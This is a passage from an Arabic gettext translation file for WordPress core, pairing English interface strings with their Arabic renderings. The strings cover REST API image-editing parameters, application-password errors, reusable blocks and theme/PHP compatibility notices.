msgstr "كنسبة مئوية من الصورة، العرض لاقتصاص الصورة إليه. مُهمل: استخدم `modifiers` بدلاً من ذلك."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1439
msgid "As a percentage of the image, the height to crop the image to. DEPRECATED: Use `modifiers` instead."
msgstr "كنسبة مئوية من الصورة، الارتفاع لاقتصاص الصورة إليه. مُهمل: استخدم `modifiers` بدلاً من ذلك."

#: wp-includes/cron.php:155
msgid "A duplicate event already exists."
msgstr "حدث مكرر موجود مسبقًا."

#: wp-includes/cron.php:251 wp-includes/cron.php:421
msgid "Event schedule does not exist."
msgstr "جدول الحدث غير موجود."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1402
msgid "Height of the crop as a percentage of the image height."
msgstr "ارتفاع الاقتصاص كنسبة مئوية من ارتفاع الصورة."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1398
msgid "Width of the crop as a percentage of the image width."
msgstr "عرض الاقتصاص كنسبة مئوية من عرض الصورة."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1394
msgid "Vertical position from the top to begin the crop as a percentage of the image height."
msgstr "موضع عمودي من أعلى لبدء القص كنسبة مئوية من ارتفاع الصورة."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1413
msgid "The amount to rotate the image clockwise in degrees. DEPRECATED: Use `modifiers` instead."
msgstr "مقدار تدوير الصورة باتجاه عقارب الساعة بالدرجات. مُهمل: استخدم `modifiers` بدلاً من ذلك."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1421
msgid "As a percentage of the image, the x position to start the crop from. DEPRECATED: Use `modifiers` instead."
msgstr "كنسبة مئوية من الصورة، موضع الـ x لبدء الاقتصاص منه. مُهمل: استخدم `modifiers` بدلاً من ذلك."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1349
msgid "Rotation"
msgstr "دوران"

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1375
msgid "Crop type."
msgstr "نوع الاقتصاص."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1341
msgid "Image edit."
msgstr "تحرير الصورة."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1352
msgid "Rotation type."
msgstr "نوع الدوران."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1380
msgid "Crop arguments."
msgstr "معاملات الاقتصاص."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1364
msgid "Angle to rotate clockwise in degrees."
msgstr "زاوية للتدوير باتجاه عقارب الساعة بالدرجات."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:302
msgid "Sorry, you are not allowed to edit this application password."
msgstr "عذرًا، غير مسموح لك تحرير كلمة المرور لهذا التطبيق."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:376
msgid "Sorry, you are not allowed to delete application passwords for this user."
msgstr "عذرًا، غير مسموح لك حذف كلمات مرور التطبيق لهذا المستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:431
msgid "Sorry, you are not allowed to delete this application password."
msgstr "عذرًا، غير مسموح لك حذف كلمة المرور لهذا التطبيق."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1337
msgid "Array of image edits."
msgstr "مصفوفة الصور المعدلة."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1357
msgid "Rotation arguments."
msgstr "معاملات الدوران."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1390
msgid "Horizontal position from the left to begin the crop as a percentage of the image width."
msgstr "موضع أفقي من اليسار لبدء القص كنسبة مئوية من عرض الصورة."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:522
msgid "Cannot introspect application password."
msgstr "لا يمكن فحص (استبطان) كلمة مرور التطبيق."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:494
msgid "The authenticated application password can only be introspected for the current user."
msgstr "كلمة مرور التطبيق المصادق عليها يمكن فحصها فقط للمستخدم الحالي."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:175
msgid "Sorry, you are not allowed to read this application password."
msgstr "عذرًا، غير مسموح لك بقراءة كلمة المرور لهذا التطبيق."

#. translators: %s: Taxonomy name.
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:3132
msgid "Limit result set to items with specific terms assigned in the %s taxonomy."
msgstr "حصر النتائج على العناصر التي ﻻ تمتلك عناصر مُعينة مسندة في الفئة %s."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:122
msgid "Sorry, you are not allowed to list application passwords for this user."
msgstr "عذرًا، غير مسموح لك استعراض كلمات مرور التطبيق لهذا المستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:219
msgid "Sorry, you are not allowed to create application passwords for this user."
msgstr "عذرًا، غير مسموح لك إنشاء كلمات مرور التطبيق لهذا المستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:587
#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:661
#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:180
msgid "Theme not found."
msgstr "القالب غير موجود."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:580
msgid "A named status for the theme."
msgstr "حالة مُسماة للقالب."

#: wp-login.php:1004
msgid "Generate Password"
msgstr "توليد كلمة مرور"

#: wp-login.php:957
msgid "Enter your new password below or generate one."
msgstr "أدخل كلمة المرور الجديدة أدناه أو بإمكانك إنشاء واحدة."

#: wp-login.php:1005
msgid "Save Password"
msgstr "حفظ كلمة المرور"

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:3098
msgid "Term ID List"
msgstr "قائمة معرّف العنصر"

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:3111
msgid "Term IDs."
msgstr "معرّفات العنصر."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:3099
msgid "Match terms with the listed IDs."
msgstr "مطابقة العناصر مع المُعرّفات المُدرجة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:3106
msgid "Term ID Taxonomy Query"
msgstr "استعلام فئة مُعرّف العنصر"

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:3107
msgid "Perform an advanced term query."
msgstr "تنفيذ استعلام عنصر متقدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:3119
msgid "Whether to include child terms in the terms limiting the result set."
msgstr "ما إذا كان سيتم تضمين العناصر الفرعية في العناصر التي تحد من حصر النتائج."

#. translators: Visible only in the front end, this warning takes the place of
#. a faulty block.
#: wp-includes/blocks/block.php:34 wp-includes/blocks/post-content.php:32
#: wp-includes/blocks/template-part.php:125
msgid "[block rendering halted]"
msgstr "[تعثّرت معالجة المكوّن]"

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:162
msgid "Sorry, you are not allowed to view the active theme."
msgstr "عذرًا، غير مسموح لك استعراض القالب النشط."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2779
msgid "Limit response to posts modified after a given ISO8601 compliant date."
msgstr "حصر الرد على المقالات المعدلة بعد تاريخ مُعطى ومتوافق مع معيار ISO8601."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2810
msgid "Limit response to posts modified before a given ISO8601 compliant date."
msgstr "حصر الرد على المقالات المعدلة قبل تاريخ مُعطى ومتوافق مع معيار ISO8601."

#: wp-includes/class-wp-feed-cache.php:15
msgid "This file is only loaded for backward compatibility with SimplePie 1.2.x. Please consider switching to a recent SimplePie version."
msgstr "يتم تحميل هذا الملف فقط للتوافق مع SimplePie للإصدارات السابقة 1.2.x. يرجى إعادة النظر للتحول إلى نسخة أحدث من SimplePie."

#: wp-includes/class-wp-taxonomy.php:638
msgid "&larr; Go to Tags"
msgstr "&rarr; الانتقال إلى الوسوم"

#: wp-includes/media.php:4609
msgid "&#8592; Go to library"
msgstr "&rarr; الانتقال إلى المكتبة"

#: wp-includes/js/dist/block-editor.js:36323
#: wp-includes/js/dist/edit-post.js:5137 wp-includes/js/dist/edit-site.js:9224
#: wp-includes/js/dist/edit-site.js:16095 wp-admin/menu.php:188
msgid "Appearance"
msgstr "المظهر"

#: wp-includes/ms-functions.php:1767
msgctxt "email \"From\" field"
msgid "Site Admin"
msgstr "مدير الموقع"

#. translators: New site notification email. 1: User login, 2: Site URL, 3:
#. Site title.
#: wp-includes/ms-functions.php:1754
msgid ""
"New site created by %1$s\n"
"\n"
"Address: %2$s\n"
"Name: %3$s"
msgstr ""
"تمّ إنشاء موقع جديد بواسطة %1$s\n"
"\n"
"الرابط: %2$s\n"
"الاسم: %3$s"

#. translators: New site notification email subject. %s: Network title.
#: wp-includes/ms-functions.php:1748
msgid "[%s] New Site Created"
msgstr "إنشاء موقع جديد في [%s]."

#. translators: %s: PHP function name.
#: wp-includes/class-wp-image-editor-imagick.php:830
msgid "%s failed while writing image to stream."
msgstr "فشلت وظيفة %s أثناء كتابة الصورة للبثّ."

#: wp-includes/post.php:288
msgid "Add new Reusable block"
msgstr "إضافة مكوّن جديد قابل لإعادة الاستخدام"

#: wp-includes/post.php:289
msgid "New Reusable block"
msgstr "مكوّن جديد قابل لإعادة الاستخدام "

#: wp-includes/post.php:290
msgid "Edit Reusable block"
msgstr "تحرير المكوّن القابل لإعادة الاستخدام"

#: wp-includes/post.php:291
msgid "View Reusable block"
msgstr "عرض المكوّن القابل لإعادة الاستخدام"

#: wp-includes/post.php:292
msgid "All Reusable blocks"
msgstr "جميع المكوّنات القابلة لإعادة الاستخدام"

#: wp-includes/post.php:293
msgid "Search Reusable blocks"
msgstr "البحث في المكوّنات القابلة لإعادة الاستخدام"

#: wp-includes/post.php:294
msgid "No reusable blocks found."
msgstr "لم يتم العثور على مكوّنات قابلة لإعادة الاستخدام."

#: wp-includes/post.php:295
msgid "No reusable blocks found in Trash."
msgstr "لم يتم العثور على مكوّنات قابلة لإعادة الاستخدام في سلة المهملات."

#: wp-includes/post.php:296
msgid "Filter reusable blocks list"
msgstr "فرز قائمة المكوّنات القابلة لإعادة الاستخدام"

#: wp-includes/post.php:297
msgid "Reusable blocks list navigation"
msgstr "تصفّح قائمة المكوّنات القابلة لإعادة الاستخدام"

#: wp-includes/post.php:298
msgid "Reusable blocks list"
msgstr "قائمة المكوّنات القابلة لإعادة الاستخدام"

#: wp-includes/post.php:299
msgid "Reusable block published."
msgstr "تمّ نشر المكوّن القابل لإعادة الاستخدام."

#: wp-includes/post.php:300
msgid "Reusable block published privately."
msgstr "تمّ نشر المكوّن القابل لإعادة الاستخدام بشكل خاص."

#: wp-includes/post.php:301
msgid "Reusable block reverted to draft."
msgstr "تمّ إعادة المكوّن القابل لإعادة الاستخدام إلى حالة المسودة."

#: wp-includes/post.php:302
msgid "Reusable block scheduled."
msgstr "تمّ جدولة المكوّن القابل لإعادة الاستخدام."

#: wp-includes/user.php:453
msgid "The provided password is an invalid application password."
msgstr "كلمة المرور المدخلة هي كلمة مرور تطبيق غير صالحة."

#: wp-includes/post.php:285
msgctxt "post type general name"
msgid "Reusable blocks"
msgstr "مكوّنات قابلة لإعادة الاستخدام"

#: wp-includes/post.php:286
msgctxt "post type singular name"
msgid "Reusable block"
msgstr "مكوّن قابل لإعادة الاستخدام"

#: wp-includes/post.php:287
msgctxt "Reusable block"
msgid "Add New"
msgstr "أضف جديد"

#: wp-includes/media-template.php:540 wp-includes/media-template.php:785
#: wp-admin/async-upload.php:72 wp-admin/includes/media.php:3345
msgid "Copy URL to clipboard"
msgstr "نسخ الرابط URL إلى الحافظة"

#: wp-includes/media-template.php:490 wp-includes/media-template.php:724
msgid "Used as:"
msgstr "تستخدم كـ:"

#: wp-includes/class-wp-application-passwords.php:80
msgid "An application name is required to create an application password."
msgstr "اسم التطبيق مطلوب لإنشاء كلمة مرور التطبيق."

#: wp-includes/class-wp-application-passwords.php:105
#: wp-includes/class-wp-application-passwords.php:261
#: wp-includes/class-wp-application-passwords.php:310
msgid "Could not save application password."
msgstr "تعذّر حفظ كلمة مرور التطبيق."

#: wp-includes/class-wp-application-passwords.php:279
#: wp-includes/class-wp-application-passwords.php:317
#: wp-includes/class-wp-application-passwords.php:355
msgid "Could not find an application password with that id."
msgstr "تعذّر العثور على كلمة مرور التطبيق بهذا المعرّف."

#: wp-includes/class-wp-application-passwords.php:338
msgid "Could not delete application password."
msgstr "تعذّر حذف كلمة مرور التطبيق."

#: wp-includes/class-wp-application-passwords.php:373
msgid "Could not delete application passwords."
msgstr "تعذّر حذف كلمات مرور التطبيقات."

#. translators: 1: Parameter, 2: Schema title, 3: Reason.
#: wp-includes/rest-api.php:1771
msgid "%1$s is not a valid %2$s. Reason: %3$s"
msgstr "%1$s ليس %2$s صالحًا. السبب: %3$s"

#. translators: 1: Parameter, 2: Schema titles.
#: wp-includes/rest-api.php:1846
msgid "%1$s is not a valid %2$l."
msgstr "%1$s ليس %2$l صالحًا."

#. translators: 1: Parameter, 2: Multiplier.
#: wp-includes/rest-api.php:2481
msgid "%1$s must be a multiple of %2$s."
msgstr "يجب أن يكون %1$s أحد مضاعفات %2$s."

#. translators: 1: Parameter, 2: Reason.
#: wp-includes/rest-api.php:1779
msgid "%1$s does not match the expected format. Reason: %2$s"
msgstr "لا يتطابق %1$s مع التنسيق المتوقع. السبب: %2$s"

#. translators: 1: Parameter, 2: Schema titles.
#: wp-includes/rest-api.php:1946
msgid "%1$s matches %2$l, but should match only one."
msgstr "يتطابق %1$s مع %2$l، ولكن يجب أن يتطابق مع واحد فقط."

#. translators: 1: Parameter, 2: Number.
#: wp-includes/rest-api.php:2356
msgid "%1$s must contain at least %2$s property."
msgid_plural "%1$s must contain at least %2$s properties."
msgstr[0] "يجب أن يحتوي %1$s على %2$s خاصية على الأقل."
msgstr[1] "يجب أن يحتوي %1$s على خاصية واحدة (%2$s) على الأقل."
msgstr[2] "يجب أن يحتوي %1$s على خاصيتين (%2$s) على الأقل."
msgstr[3] "يجب أن يحتوي %1$s على %2$s خصائص على الأقل."
msgstr[4] "يجب أن يحتوي %1$s على %2$s خاصية على الأقل."
msgstr[5] "يجب أن يحتوي %1$s على %2$s خاصية على الأقل."

#. translators: 1: Parameter, 2: Number.
#: wp-includes/rest-api.php:2372
msgid "%1$s must contain at most %2$s property."
msgid_plural "%1$s must contain at most %2$s properties."
msgstr[0] "يجب أن يحتوي %1$s على %2$s خاصية على الأكثر."
msgstr[1] "يجب أن يحتوي %1$s على خاصية واحدة (%2$s) على الأكثر."
msgstr[2] "يجب أن يحتوي %1$s على خاصيتين (%2$s) على الأكثر."
msgstr[3] "يجب أن يحتوي %1$s على %2$s خصائص على الأكثر."
msgstr[4] "يجب أن يحتوي %1$s على %2$s خاصية على الأكثر."
msgstr[5] "يجب أن يحتوي %1$s على %2$s خاصية على الأكثر."

#. translators: %s: Parameter.
#: wp-includes/rest-api.php:1850
msgid "%s does not match any of the expected formats."
msgstr "لا يتطابق %s مع أي من التنسيقات المتوقعة."

#. translators: %s: Parameter.
#: wp-includes/rest-api.php:1954
msgid "%s matches more than one of the expected formats."
msgstr "يتطابق %s مع أكثر من تنسيق واحد من التنسيقات المتوقعة."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:809
msgid "The name of the application password."
msgstr "اسم كلمة مرور التطبيق."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:817
msgid "The generated password. Only available after adding an application."
msgstr "كلمة المرور التي تم إنشاؤها. متاح فقط بعد إضافة تطبيق."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:830
msgid "The GMT date the application password was last used."
msgstr "تاريخ آخر استخدام لكلمة مرور التطبيق بتوقيت GMT."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:823
msgid "The GMT date the application password was created."
msgstr "تاريخ إنشاء كلمة مرور التطبيق بتوقيت GMT."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:837
msgid "The IP address the application password was last used by."
msgstr "عنوان الـ IP الذي استخدم كلمة مرور التطبيق آخر مرة."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:803
msgid "A UUID provided by the application to uniquely identify it. It is recommended to use an UUID v5 with the URL or DNS namespace."
msgstr "الـ UUID التي يقدمها التطبيق للتعرف عليه بشكل فريد. يوصى باستخدام UUID v5 مع رابط URL أو DNS namespace."

#: wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:321
msgid "Directory sizes could not be returned."
msgstr "لا يمكن إرجاع أحجام الدليل."

#: wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:372
msgid "The status of the test."
msgstr "حالة الاختبار."

#: wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:362
msgid "The name of the test being run."
msgstr "اسم الاختبار الجاري تشغيله."

#: wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:367
msgid "A label describing the test."
msgstr "تسمية تصف الاختبار."

#: wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:378
msgid "The category this test is grouped in."
msgstr "التصنيف الذي تم تجميع هذا الاختبار فيه."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:561
msgid "Sorry, you are not allowed to manage application passwords for this user."
msgstr "عذرًا، غير مسموح لك بإدارة كلمات مرور التطبيق لهذا المستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:532
#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:757
msgid "Application password not found."
msgstr "لم يتم العثور على كلمة مرور التطبيق."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:796
msgid "The unique identifier for the application password."
msgstr "المُعرّف الفريد لكلمة مرور التطبيق."

#: wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:394
msgid "A more descriptive explanation of what the test looks for, and why it is important for the user."
msgstr "توضيح تفصيلي أكثر لما يبحث عنه الاختبار، وسبب أهميته للمستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:399
msgid "HTML containing an action to direct the user to where they can resolve the issue."
msgstr "يحتوي HTML على إجراء لتوجيه المستخدم إلى حيث يمكنه حل المسألة."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:729
#: wp-includes/user.php:381 wp-admin/authorize-application.php:106
msgid "Application passwords are not available for your account. Please contact the site administrator for assistance."
msgstr "كلمات مرور التطبيقات غير متاحة لحسابك. يرجى الاتصال بمدير الموقع للمساعدة."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:685
#: wp-includes/user.php:376 wp-admin/authorize-application.php:108
msgid "Application passwords are not available."
msgstr "كلمات مرور التطبيقات غير متاحة."

#. translators: %s: IP address of password reset requester.
#: wp-includes/user.php:3179
msgid "This password reset request originated from the IP address %s."
msgstr "تم إنشاء طلب إعادة تعيين كلمة المرور من عنوان IP %s."

#: wp-includes/rest-api/class-wp-rest-server.php:1011
msgid "The handler for the route is invalid."
msgstr "الـ handler المتعلق بالمسار غير صالح."

#: wp-includes/rest-api/class-wp-rest-server.php:1593
msgid "Could not parse the path."
msgstr "تعذر تحليل المسار."

#: wp-includes/rest-api/class-wp-rest-server.php:1643
msgid "The requested route does not support batch requests."
msgstr "المسار المطلوب لا يدعم الطلبات بالدفعة."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:461
msgid "Version of block API."
msgstr "نسخة الـ API للمكوّن."

#: wp-includes/rest-api/class-wp-rest-request.php:946
msgid "Invalid parameters."
msgstr "المُعامِلات (parameters) غير صالحة."

#: wp-includes/theme.php:2633
msgid "You need to pass an array of post formats."
msgstr "تحتاج إلى تمرير مصفوفة من صيغ المقال."

#: wp-includes/class-wp-xmlrpc-server.php:3940
#: wp-includes/class-wp-xmlrpc-server.php:3947
msgid "Sorry, you are not allowed to comment on this post."
msgstr "عذراً، غير مسموح لك التعليق على هذه المقالة."

#. translators: %s: WP_ENVIRONMENT_TYPES
#: wp-includes/load.php:229
msgid "The %s constant is no longer supported."
msgstr "الثابت %s لم يعد مدعومًا."

#. translators: %s: Theme name.
#: wp-includes/customize/class-wp-customize-theme-control.php:161
#: wp-admin/includes/theme.php:944 wp-admin/includes/update.php:778
#: wp-admin/themes.php:453 wp-admin/themes.php:808 wp-admin/themes.php:1102
msgid "There is a new version of %s available, but it does not work with your version of PHP."
msgstr "هناك نسخة جديدة متاحة من %s، لكنها لا تعمل مع إصدار PHP الخاص بك."

#. translators: %s: Theme name.
#: wp-includes/customize/class-wp-customize-theme-control.php:146
#: wp-admin/includes/theme.php:929 wp-admin/includes/update.php:765
#: wp-admin/themes.php:440 wp-admin/themes.php:793 wp-admin/themes.php:1087
msgid "There is a new version of %s available, but it does not work with your version of WordPress."
msgstr "هناك نسخة جديدة متاحة من %s، لكنها لا تعمل مع إصدار ووردبريس الخاص بك."

#. translators: %s: Theme name.
#: wp-includes/customize/class-wp-customize-theme-control.php:116
#: wp-admin/includes/theme.php:899 wp-admin/includes/update.php:737
#: wp-admin/themes.php:412 wp-admin/themes.php:763 wp-admin/themes.php:1057
msgid "There is a new version of %s available, but it does not work with your versions of WordPress and PHP."
msgstr "هناك نسخة جديدة متاحة من %s، لكنها لا تعمل مع إصدارات ووردبريس و PHP الخاصة بك."

#: wp-includes/customize/class-wp-customize-theme-control.php:183
#: wp-admin/includes/theme.php:978 wp-admin/theme-install.php:328
#: wp-admin/theme-install.php:533 wp-admin/themes.php:474
#: wp-admin/themes.php:829 wp-admin/themes.php:992
msgid "This theme does not work with your versions of WordPress and PHP."
msgstr "لا يعمل هذا القالب مع إصدارات ووردبريس وPHP الخاصة بك."

#: wp-includes/customize/class-wp-customize-theme-control.php:209
#: wp-admin/includes/theme.php:1004 wp-admin/theme-install.php:354
#: wp-admin/theme-install.php:559 wp-admin/themes.php:498
#: wp-admin/themes.php:855 wp-admin/themes.php:1018
msgid "This theme does not work with your version of WordPress."
msgstr "هذه القالب لا يعمل مع إصدار ووردبريس الخاص بك."

#. translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page.
#: wp-includes/customize/class-wp-customize-theme-control.php:122
#: wp-includes/customize/class-wp-customize-theme-control.php:187
#: wp-admin/includes/class-wp-plugin-install-list-table.php:693
#: wp-admin/includes/class-wp-plugins-list-table.php:1277
#: wp-admin/includes/theme.php:905 wp-admin/includes/theme.php:982
#: wp-admin/includes/update.php:743 wp-admin/theme-install.php:332
#: wp-admin/theme-install.php:537 wp-admin/themes.php:418
#: wp-admin/themes.php:478 wp-admin/themes.php:769 wp-admin/themes.php:833
#: wp-admin/themes.php:996 wp-admin/themes.php:1063
#: wp-admin/update-core.php:688
msgid "<a href=\"%1$s\">Please update WordPress</a>, and then <a href=\"%2$s\">learn more about updating PHP</a>."
msgstr "<a href=\"%1$s\">يرجى تحديث ووردبريس</a>، ثم <a href=\"%2$s\">معرفة المزيد حول تحديث PHP</a>."

#. translators: %s: URL to WordPress Updates screen.
#: wp-includes/customize/class-wp-customize-theme-control.php:130
#: wp-includes/customize/class-wp-customize-theme-control.php:152
#: wp-includes/customize/class-wp-customize-theme-control.php:195
#: wp-includes/customize/class-wp-customize-theme-control.php:213
#: wp-admin/includes/class-wp-plugin-install-list-table.php:701
#: wp-admin/includes/class-wp-plugin-install-list-table.php:717
#: wp-admin/includes/class-wp-plugins-list-table.php:1285
#: wp-admin/includes/class-wp-plugins-list-table.php:1301
#: wp-admin/includes/theme.php:913 wp-admin/includes/theme.php:935
#: wp-admin/includes/theme.php:990 wp-admin/includes/theme.php:1008
#: wp-admin/includes/update.php:751 wp-admin/includes/update.php:771
#: wp-admin/theme-install.php:340 wp-admin/theme-install.php:358
#: wp-admin/theme-install.php:545 wp-admin/theme-install.php:563
#: wp-admin/themes.php:426 wp-admin/themes.php:446 wp-admin/themes.php:486
#: wp-admin/themes.php:502 wp-admin/themes.php:777 wp-admin/themes.php:799
#: wp-admin/themes.php:841 wp-admin/themes.php:859 wp-admin/themes.php:1004
#: wp-admin/themes.php:1022 wp-admin/themes.php:1071 wp-admin/themes.php:1093
#: wp-admin/update-core.php:701 wp-admin/update-core.php:722
msgid "<a href=\"%s\">Please update WordPress</a>."
msgstr "<a href=\"%s\">يرجى تحديث ووردبريس</a>."

#. translators: %s: URL to Update PHP page.
#: wp-includes/customize/class-wp-customize-theme-control.php:136
#: wp-includes/customize/class-wp-customize-theme-control.php:167
#: wp-includes/customize/class-wp-customize-theme-control.php:201
#: wp-includes/customize/class-wp-customize-theme-control.php:224
#: wp-admin/includes/class-wp-plugin-install-list-table.php:707
#: wp-admin/includes/class-wp-plugin-install-list-table.php:726
#: wp-admin/includes/class-wp-plugins-list-table.php:1291
#: wp-admin/includes/class-wp-plugins-list-table.php:1310
#: wp-admin/includes/plugin.php:1136 wp-admin/includes/theme.php:919
#: wp-admin/includes/theme.php:950 wp-admin/includes/theme.php:996
#: wp-admin/includes/theme.php:1019 wp-admin/includes/update-core.php:1158
#: wp-admin/includes/update.php:757 wp-admin/includes/update.php:784
#: wp-admin/install.php:253 wp-admin/theme-install.php:346
#: wp-admin/theme-install.php:369 wp-admin/theme-install.php:551
#: wp-admin/theme-install.php:574 wp-admin/themes.php:432
#: wp-admin/themes.php:459 wp-admin/themes.php:492 wp-admin/themes.php:511
#: wp-admin/themes.php:783 wp-admin/themes.php:814 wp-admin/themes.php:847
#: wp-admin/themes.php:870 wp-admin/themes.php:1010 wp-admin/themes.php:1033
#: wp-admin/themes.php:1077 wp-admin/themes.php:1108
#: wp-admin/update-core.php:100 wp-admin/update-core.php:541
#: wp-admin/update-core.php:707 wp-admin/update-core.php:731
#: wp-admin/upgrade.php:87
msgid "<a href=\"%s\">Learn more about updating PHP</a>."
msgstr "<a href=\"%s\">معرفة المزيد حول تحديث PHP</a>"

#: wp-includes/customize/class-wp-customize-theme-control.php:220
#: wp-admin/includes/theme.php:1015 wp-admin/theme-install.php:365
#: wp-admin/theme-install.php:570 wp-admin/themes.php:507
#: wp-admin/themes.php:866 wp-admin/themes.php:1029
msgid "This theme does not work with your version of PHP."
msgstr "هذا القالب لا يعمل مع إصدار PHP الخاص بك."

#. translators: %s: register_rest_field
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2620
msgid "Please use %s to add new schema properties."
msgstr "يرجى استخدام %s لإضافة خصائص مخطط جديدة."

#. translators: %s: prepare_callback
#: wp-includes/theme.php:3262
msgid "The \"%s\" must be a callable function."
msgstr "يجب أن تكون \"%s\" دالة قابلة للاستدعاء."

#. translators: %s: customize_messenger_channel
#: wp-includes/class-wp-customize-manager.php:1920
msgid "Unauthorized. You may remove the %s param to preview as frontend."
msgstr "غير مصرّح. قد تود إزالة المتغيّر %s للمعاينة كواجهة أمامية."

#. translators: 1: Deprecated option key, 2: New option key.
#: wp-includes/option.php:104 wp-includes/option.php:450
#: wp-includes/option.php:640
msgid "The \"%1$s\" option key has been renamed to \"%2$s\"."
msgstr "تمّت إعادة تسمية مفتاح الخيار \"%1$s\" إلى \"%2$s\"."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:700
msgid "Sorry, you are not allowed to manage network plugins."
msgstr "عذراً، لا يُسمح لك بإدارة إضافات الشبكة."

#. translators: 1: The REST API route being registered, 2: The argument name,
#. 3: The suggested function name.
#: wp-includes/rest-api.php:98
msgid "The REST API route definition for %1$s is missing the required %2$s argument. For REST API routes that are intended to be public, use %3$s as the permission callback."
msgstr "يفتقد تعريف توجيه REST API لـ %1$s للمتغير المطلوب %2$s. بالنسبة لتوجيهات REST API التي يجب أن تكون عامة، استخدم %3$s كطلب استدعاء صلاحية."

#. translators: byline. %s: current author.
#. translators: %s: the author.
#: wp-includes/blocks/latest-posts.php:123 wp-includes/blocks/rss.php:64
#: wp-includes/js/dist/block-library.js:25747
msgid "by %s"
msgstr "بواسطة %s"

#: wp-includes/post.php:4436
msgid "Could not update attachment in the database."
msgstr "تعذر تحديث المرفقات في قاعدة البيانات."

#: wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:708
#: wp-admin/plugins.php:48 wp-admin/plugins.php:176
msgid "Sorry, you are not allowed to activate this plugin."
msgstr "عذرًا، غير مسموح لك بتفعيل هذه الإضافة."

#. translators: Hidden accessibility text.
#: wp-includes/js/dist/block-library.js:8375
#: wp-includes/js/dist/core-data.js:2579 wp-admin/edit-form-comment.php:84
#: wp-admin/includes/template.php:469
msgid "Comment"
msgstr "التعليق"

#: wp-includes/js/dist/core-data.js:2597
#: wp-admin/includes/ajax-actions.php:1554
msgid "Menu Item"
msgstr "عنصر القائمة"

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1372
#: wp-includes/js/dist/block-library.js:23965
#: wp-includes/js/dist/block-library.js:47845
#: wp-admin/includes/image-edit.php:62
msgid "Crop"
msgstr "قص"

#: wp-includes/class-wp-oembed-controller.php:216
msgid "Embed Handler"
msgstr "تضمين معالج"

#: wp-includes/script-loader.php:970 wp-includes/js/media-views.js:3521
#: wp-admin/js/media.js:239 wp-admin/js/post.js:1319
msgid "The file URL has been copied to your clipboard"
msgstr "تم نسخ رابط الملف إلى الحافظة الخاصة بك"

#. translators: %s: Documentation URL.
#: wp-includes/ms-load.php:495
msgid "Read the <a href=\"%s\" target=\"_blank\">Debugging a WordPress Network</a> article. Some of the suggestions there may help you figure out what went wrong."
